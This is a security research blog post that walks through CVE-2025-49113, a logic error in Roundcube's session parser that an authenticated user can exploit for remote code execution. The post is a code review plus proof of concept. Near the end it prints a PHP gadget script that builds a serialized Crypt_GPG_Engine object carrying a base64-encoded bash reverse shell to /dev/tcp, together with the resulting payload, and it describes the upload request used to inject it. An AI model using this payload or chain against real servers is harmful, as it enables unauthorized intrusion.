> ## Content Index
> Fetch the complete content index at: https://yokai.hakaisecurity.io/llms.txt
> Use this file to discover other available public pages before exploring further.

# Behind the Bug: Logic Error in Roundcube Session Parser [CVE-2025-49113]
- URL: https://yokai.hakaisecurity.io/behind-the-bug-logic-error-in-roundcube-session-parser-cve-2025-49113/
- Published: 2025-06-10T18:22:33.000Z
- Updated: 2025-06-10T18:22:33.000Z
- Author: Murilo
- Tags: Research Blog, #wp, en, #pair-CVE-2025-49113

Recently, a *vulnerability* was discovered in the *Roundcube* *webmail* service that allows an *authenticated user* to obtain *remote execution of commands* on the server. The flaw was identified by researcher [**Kirill Firsov**](https://x.com/k%5Ffirsov?ref=yokai.hakaisecurity.io) and reported on **June 2, 2025**.

# Vulnerability details

In short, the flaw occurs due to a *logic error* in a*session parser* implemented by the *Roundcube* developers, which allows an attacker to inject *arbitrary objects* into the session and obtain *remote code execution*\*\*(RCE\*\*) via a *gadget* present in the *Crypt\_GPG* library.

The *vulnerability* has been present in *Roundcube* 's code for over **10 years** and was reported in version **1.6.10**. All versions prior to **1.6.11**, with the exception of **1.5.10**, are susceptible to the attack.

Exploiting the vulnerability requires access to an *endpoint* that requires *authentication*, so the attacker needs *valid credentials* in the *Roundcube* environment.

# Code Review: Identifying the logical error

Before you start reading this section, we strongly recommend a thorough understanding of the format of *PHP* *serialized objects*, as well as knowledge of *insecure deserialization* exploits. We suggest reading the following *blogpost*:

[https://blog.crowsec.com.br/des](https://blog.crowsec.com.br/des?ref=yokai.hakaisecurity.io)

As stated in the *vulnerability* details section, the *bug* is in a *session parser* implemented by the *Roundcube* developers.

Accessing the file `rcube_session.php`, we see the following code snippet, responsible for registering the *custom handlers* for the operations performed during session management:

[https://github.com/roundcube/roundcubemail/blob/1.6.10/program/lib/Roundcube/rcube\_session.php#L109](https://github.com/roundcube/roundcubemail/blob/1.6.10/program/lib/Roundcube/rcube%5Fsession.php?ref=yokai.hakaisecurity.io#L109)

```php
/**
 * Register session handler
 */
public function register_session_handler()
{
    if (session_id()) {
        // Session already exists, skip
        return;
    }

    ini_set('session.serialize_handler', 'php');

    // set custom functions for PHP session management
    session_set_save_handler(
        [$this, 'open'],
        [$this, 'close'],
        [$this, 'read'],
        [$this, 'sess_write'],
        [$this, 'destroy'],
        [$this, 'gc']
    );
}
```

Looking at the `rcube_session::sess_write()` method, we see that it calls the `rcube_session::_fixvars()` method, which in turn invokes the method where the *logical bug* occurs: `rcube_session::unserialize()`.

[https://github.com/roundcube/roundcubemail/blob/1.6.10/program/lib/Roundcube/rcube\_session.php#L162](https://github.com/roundcube/roundcubemail/blob/1.6.10/program/lib/Roundcube/rcube%5Fsession.php?ref=yokai.hakaisecurity.io#L162)

```php
 /**
   * Session write handler. This calls the implementation methods for write/update after some initial checks.
   *
   * @param string $key  Session identifier
   * @param string $vars Serialized data string
   *
   * @return bool True on success, False on failure
   */
  public function sess_write($key, $vars)
  {
      if ($this->nowrite) {
          return true;
      }

      // check cache
      $oldvars = $this->get_cache($key);

      // if there are cached vars, update store, else insert new data
      if ($oldvars) {
          $newvars = $this->_fixvars($vars, $oldvars); // FUNCTION CALLED HERE
          return $this->update($key, $newvars, $oldvars);
      }
      else {
          return $this->write($key, $vars);
      }
  }
```

[https://github.com/roundcube/roundcubemail/blob/1.6.10/program/lib/Roundcube/rcube\_session.php#L215](https://github.com/roundcube/roundcubemail/blob/1.6.10/program/lib/Roundcube/rcube%5Fsession.php?ref=yokai.hakaisecurity.io#L215)

```php
/**
 * Merge vars with old vars and apply unsets
 */
protected function _fixvars($vars, $oldvars)
{
    $newvars = '';

    if ($oldvars !== null) {
        $a_oldvars = $this->unserialize($oldvars); // VULNERABLE FUNCTION CALLED HERE

        if (is_array($a_oldvars)) {
            // remove unset keys on oldvars
            foreach ((array)$this->unsets as $var) {
                if (isset($a_oldvars[$var])) {
                    unset($a_oldvars[$var]);
                }
                else {
                    $path = explode('.', $var);
                    $k = array_pop($path);
                    $node = &$this->get_node($path, $a_oldvars);
                    unset($node[$k]);
                }
            }

            $newvars = $this->serialize(array_merge(
                (array)$a_oldvars, (array)$this->unserialize($vars)));
        }
        else {
            $newvars = $vars;
        }
    }

    $this->unsets = [];

    return $newvars;
}
```

The `$oldvars` variable contains the contents of the *PHP session*. See below for an example of the content:

```text
username|s:13:"administrator";isAdmin|b:1;
```

This content is sent to the `rcube_session::unserialize()` method, which is where the *logic bug* occurs.

[https://github.com/roundcube/roundcubemail/blob/1.6.10/program/lib/Roundcube/rcube\_session.php#L506](https://github.com/roundcube/roundcubemail/blob/1.6.10/program/lib/Roundcube/rcube%5Fsession.php?ref=yokai.hakaisecurity.io#L506)

```php
/**
 * Unserialize session data
 * https://www.php.net/manual/en/function.session-decode.php#56106
 *
 * @param string $str Serialized data string
 *
 * @return array Unserialized data
 */
public static function unserialize($str)
{
    $str    = (string) $str;
    $endptr = strlen($str);
    $p      = 0;

    $serialized = '';
    $items      = 0;
    $level      = 0;

    while ($p < $endptr) {
        $q = $p;
        while ($str[$q] != '|')
            if (++$q >= $endptr)
                break 2;

        if ($str[$p] == '!') {
            $p++;
            $has_value = false;
        }
        else {
            $has_value = true;
        }

        $name = substr($str, $p, $q - $p);
        $q++;

        $serialized .= 's:' . strlen($name) . ':"' . $name . '";';

	...
}
```

The code is quite long and confusing - at least personally, I've always found it tiresome to analyze *parsers* in general. For this reason, let's focus on the critical parts of the *parser* and identify the exact point where the *logic error* occurs.

First of all, let's understand how a *session* is formatted *in PHP*. Below is an example of the code and its output:

```text
<?php
session_start();
$_SESSION['username'] = 'administrator';
$_SESSION['isAdmin'] = 1;

/*
 * SESSION CONTENT
 * username|s:13:"administrator";isAdmin|b:1;
*/
```

Notice that the field name and content are separated by a `|`.

The `rcube_session::unserialize()` method *parses* this content and converts it into a *serialized PHP object* format. See below for an example:

```text
username|s:13:"administrator";isAdmin|b:1; // PHP SESSION CONTENT
a:2:{s:8:"username";s:13:"administrator";s:7:"isAdmin";b:1;} // PHP OBJECT SERIALIZED
```

Analyzing the *parser*, we see that it loops through the *string* until it finds the character `|`. When it reaches that character, it saves its position and uses the `substr` function to extract the name of the "variable" defined in the session (remember the session format? `username|s:13:"administrator"`).

At this point, the value of the `$serialized` variable would be: `s:8:"username";`

![](https://yokai.hakaisecurity.io/content/images/hakaisecurity-io/wp-content/uploads/2025/06/image-8.png)

Note that the code shown in the image above performs a validation: if the variable name starts with `!`, the code will not enter the `if` condition defined on line 535.

The code inside the `if` block performs the rest of the session *parsing*. As there are no *bugs* in this part, we won't go into too much detail.

![](https://yokai.hakaisecurity.io/content/images/hakaisecurity-io/wp-content/uploads/2025/06/image-1-2.png)

Looking at the code in the `else` block (executed when the name of the session variable starts with `!`), we see that the *parser* "discards" the contents of the variable and increments 2 more in the `$p` and `$q` variables.

![](https://yokai.hakaisecurity.io/content/images/hakaisecurity-io/wp-content/uploads/2025/06/image-2-1.png)

At this point, we've already encountered the *bug* \- and you probably didn't even notice it... Yes, it's quite subtle and tiresome to review.

To make it easier to explain the *bug* at this point, let's use an example of session content:

```text
!firstName|s:4:"john";lastName|s:3:"doe";
```

By correct logic, this serialized content would be:

```text
a:2:{s:9:"firstName";N;s:8:"lastName";s:3:"doe";}
```

However, the result of the *parser* is:

```text
a:2:{s:9:"firstName";N;s:17:"4:"john";lastName";s:3:"doe";}
```

This is because the code increments 2 in `$p`, with the intention of advancing to the position of the next session variable. However, this behavior is completely wrong.

In the context of the example we are using, the value of the `$p` variable will be **13** at the end of the iteration.

When returning to the start of the loop, the code will start iterating the next "variable" in the session from position 13 of the *string*. In other words, according to the *parser*, the name of the variable will be: `4:"john";lastName`

![](https://yokai.hakaisecurity.io/content/images/hakaisecurity-io/wp-content/uploads/2025/06/image-3-1.png)

Note that the value of the first variable ends up being interpreted as part of the name of the second variable. In the *parser*'s first loop, it goes through the variable name until it finds the `|` character.

What if we insert a `|` into the name of the second variable using this *logic bug*? By doing this, we can *inject content* into the session. Here's an example:

```text
<?php
session_start();

$_SESSION['!firstName'] = '|s:3:"pwn";';
$_SESSION['lastName'] = 'doe';

/*
 * Example of serialized session data:
 * !firstName|s:11:"|s:3:"pwn";";lastName|s:3:"doe";
 * 
 * Example of serialized PHP object:
 * a:3:{s:9:"firstName";N;s:4:"11:"";s:3:"pwn";s:10:"";lastName";s:3:"doe";}
*/
```

If you're wondering, "Why not insert a `|` directly into the variable name without having to exploit the logic *bug*? Wouldn't that also result in *injection*?". The answer is **no**. By default, *PHP* doesn't allow the `|` character in variable names, precisely to avoid this type of session data injection *bug*.

The idea here is to exploit this *logical* *parser* *bug* to inject an *object* into the session content and, by deserializing it, we can trigger an **RCE** using a *gadget*.

We have two major requirements for exploiting this *bug*:

- We need some *endpoint* that gives us control over both the name and the value of session variables.
- We need a *gadget* that makes it possible to obtain **RCE** through *object injection*.

# Exploring vulnerabilities

Analyzing the `rcmail_action_settings_upload::run()` method, we see that it creates a *session* variable over which we have control of both the *name* and the *value*.

[https://github.com/roundcube/roundcubemail/blob/master/program/actions/settings/upload.php#L30](https://github.com/roundcube/roundcubemail/blob/master/program/actions/settings/upload.php?ref=yokai.hakaisecurity.io#L30)

```php
public function run($args = [])
{
    $rcmail = rcmail::get_instance();
    $from   = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
    $type   = preg_replace('/(add|edit)-/', '', $from);
    
    // code...
    
    $type = str_replace('.', '-', $type);    
    
    if (!empty($imageprop)) {
          $attachment = $rcmail->plugins->exec_hook('attachment_upload', [
              'path'     => $filepath,
              'size'     => $_FILES['_file']['size'][$i],
              'name'     => $_FILES['_file']['name'][$i],
              'mimetype' => 'image/' . $imageprop['type'],
              'group'    => $type,
          ]);
      }
    
	   // code...
    
    $rcmail->session->append($type . '.files', $id, $attachment);
    
    // code...
}
```

We can see that the contents of the `_from` parameter are used as the *name of* the session variable. In addition, the *value of* this variable is the object contained in the `$attachment` variable. The name of the file received by the form is assigned to the `name` field of this object - in other words, we also have some control over the *value of* the variable defined in the session.

With this, we have already met the first requirement: control over the *name* and *value of* the variable entered in the session.

When looking for a *gadget*, we found a fairly simple *chain* in the `Crypt_GPG_Engine` class. The `Crypt_GPG_Engine::__destruct` method invokes the `Crypt_GPG_Engine::_closeIdleAgents` method, which in turn uses the `proc_open` function on the `$this->_gpgconf` property.

```php
class Crypt_GPG_Engine
{
    public function __destruct()
    {
        $this->_closeSubprocess();
        $this->_closeIdleAgents();
    }
    
    private function _closeIdleAgents()
    {
        if ($this->_gpgconf) {
            // before 2.1.13 --homedir wasn't supported, use env variable
            $env = array('GNUPGHOME' => $this->_homedir);
            $cmd = $this->_gpgconf . ' --kill gpg-agent';

            if ($process = proc_open($cmd, array(), $pipes, null, $env)) {
                proc_close($process);
            }
        }
    }
}
```

We can create a *gadget* to obtain **RCE** by assigning a malicious *string* to the `$this->_gpgconf` property to exploit a *command injection* vulnerability.

```php
<?php

class Crypt_GPG_Engine
{
    public string $_gpgconf;

    public function __construct($_gpgconf = '')
    {
        $this->_gpgconf = $_gpgconf;
    }
}

$command = '/bin/bash -c "bash -i >& /dev/tcp/host.docker.internal/8000 0>&1"';
$payload = "echo '" . base64_encode($command) . "'|base64 -d|sh;#";

$crypt_gpg_engine = new Crypt_GPG_Engine($payload);

echo "|" . serialize($crypt_gpg_engine) . ";" . PHP_EOL;

/*
 * Execution output
 * |O:16:"Crypt_GPG_Engine":1:{s:8:"_gpgconf";s:110:"echo 'L2Jpbi9iYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwL2hvc3QuZG9ja2VyLmludGVybmFsLzgwMDAgMD4mMSI='|base64 -d|sh;#";};
*/

```

Important detail: setting the property to *public* removes the *null bytes* from the serialized *payload* \- and this is extremely relevant to the success of the exploit.

With the *gadget* in hand and an *endpoint* that allows us to control the session, we can proceed with the exploit and obtain **RCE** in *Roundcube*.

## Obtaining RCE

Accessing the image *upload* functionality in the identity settings:

![](https://yokai.hakaisecurity.io/content/images/hakaisecurity-io/wp-content/uploads/2025/06/image-4-1.png)

Intercepting the request using *Burp Suite*:

![](https://yokai.hakaisecurity.io/content/images/hakaisecurity-io/wp-content/uploads/2025/06/image-5-1.png)

By setting the `!` character in the `_from` field (variable name) and inserting the injection *payload* with the *gadget* in the `filename` field, we were able to exploit the *vulnerability* and obtain **RCE** in the application:

![](https://yokai.hakaisecurity.io/content/images/hakaisecurity-io/wp-content/uploads/2025/06/image-6-1.png)

![](https://yokai.hakaisecurity.io/content/images/hakaisecurity-io/wp-content/uploads/2025/06/image-7-1.png)

During the *PoC* study, our team developed an *exploit* to make it easier to exploit the *vulnerability*.

[https://github.com/hakaioffsec/CVE-2025-49113-exploit](https://github.com/hakaioffsec/CVE-2025-49113-exploit?ref=yokai.hakaisecurity.io)

# Final considerations

This exploit involves several complex concepts, such as *Insecure Deserialization* and *Session Injection*. However, the most relevant point in this article is to understand the *logical bug* present in the session content *parser*.

During the reproduction of the *PoC*, we studied the [article](https://fearsoff.org/research/roundcube?ref=yokai.hakaisecurity.io) published by [**Kirill Firsov**](https://x.com/k%5Ffirsov?ref=yokai.hakaisecurity.io), and it was essential to obtain a complete understanding of the *parser* in order to achieve success in the *exploit*(this occurred before the *exploit* code was published).

We would like to congratulate the researcher on his excellent work and the incredible research conducted at *Roundcube*.

## Recommendation

We recommend that *Roundcube* be updated to the latest version\*\*(1.6.11\*\*) or, alternatively, to version **1.5.10**, which has also received the security *patch*.

# References

[https://github.com/fearsoff-org/CVE-2025-49113](https://github.com/fearsoff-org/CVE-2025-49113?ref=yokai.hakaisecurity.io)

[Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization \[CVE-2025-49113\]](https://fearsoff.org/research/roundcube?ref=yokai.hakaisecurity.io)

[https://blog.crowsec.com.br/des](https://blog.crowsec.com.br/des?ref=yokai.hakaisecurity.io)

[NVD - CVE-2025-49113](https://nvd.nist.gov/vuln/detail/CVE-2025-49113?ref=yokai.hakaisecurity.io)

[https://github.com/hakaioffsec/CVE-2025-49113-exploit](https://github.com/hakaioffsec/CVE-2025-49113-exploit?ref=yokai.hakaisecurity.io)